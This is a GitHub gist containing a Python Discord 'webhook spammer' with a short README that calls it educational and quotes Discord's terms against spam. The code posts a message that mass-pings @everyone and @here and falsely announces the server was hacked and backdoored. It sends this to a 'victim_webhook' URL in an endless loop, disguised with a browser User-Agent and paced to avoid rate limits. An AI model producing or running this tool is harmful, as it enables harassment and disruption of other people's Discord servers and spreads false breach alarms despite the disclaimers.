Skip to content

Instantly share code, notes, and snippets.

@SpikeVN
Created June 23, 2021 12:04
Show Gist options
  • Save SpikeVN/aa2c2282e31e6bca2973a343e6c10547 to your computer and use it in GitHub Desktop.
Save SpikeVN/aa2c2282e31e6bca2973a343e6c10547 to your computer and use it in GitHub Desktop.
Webhook Spammer

The Webhook Spammer

Introduction

Welcome to this webhook spammer. Before using it, please read the following:

  • THIS IS FOR EDUCATIONAL PURPOSES ONLY. You can get into trouble by using this without consent.
  • RUNNING THIS WITHOUT PERMISSON IS A VIOLATION OF DISCORD TERMS OF SERVICE.
    At paragraph 3, Communications:
    You may use the Service to send messages to other users of the Service. You agree that your use of the Service will
    not include sending unsolicited marketing messages or broadcasts (i.e., spam). We may utilize a variety of means to

    block spammers and abusers from using the Service.

Usage

Supply the Webhoook link in the code, set the message to what you want, and run it.

# THIS IS FOR EDUCATION PURPOSES ONLY!
# Only, use this with consent.
# USING THIS IS IN VIOLATION OF DISCORD TERMS OF SERVICE (Paragraph 3, Communications, Discord Terms of Service).
import json
import time # Use for waiting
import os # ONLY used for clearing screen.
from urllib.request import Request, urlopen # Only use the request module to spam, no io to grab files.
# Put the webhook you want to spam here.
victim_webhook = ''
# Default spam message. Really annoying.
# You can modify this part, using \n is new line.
message = '@everyone @here @everyone @here @everyone @here @everyone @here @everyone @here\n VIVE LA REVOLUTION\nTHIS HAVE BEEN HACKED BY ANONYMOUS\nYOU STUPID LOL\nYOUR SERVER HAS BEEN BACKDOORED!'
# Dumps the messages into an JSON format.
spam_message = json.dumps({'content': message})
# Headers for Discord API packets.
# You can change this to anything valid, like Chrome, Edge,...
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
}
# Clears the screen
def screen_clear():
if os.name == 'posix':
_ = os.system('clear') # Mac OS and Linux OS name is posix
else:
_ = os.system('cls') # Else is Windows.
# Requests packet
spam = Request(victim_webhook, data=spam_message.encode(), headers=headers)
print("This is the program, that will spam the input webhook through Discord API.")
print("Will spam in 5s...") # Gives user some time to exit if ran accidentally.
time.sleep(5) # Waits 5s
i = 0 # Count variable.
while True: # F O R E V E R
screen_clear()
i = i + 1
print("SPAMMING...") # Good luck.
# Sends the spam packet.
urlopen(spam)
print("I have spammed ", i, " times.")
time.sleep(2.5) # To prevent being rate limited.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment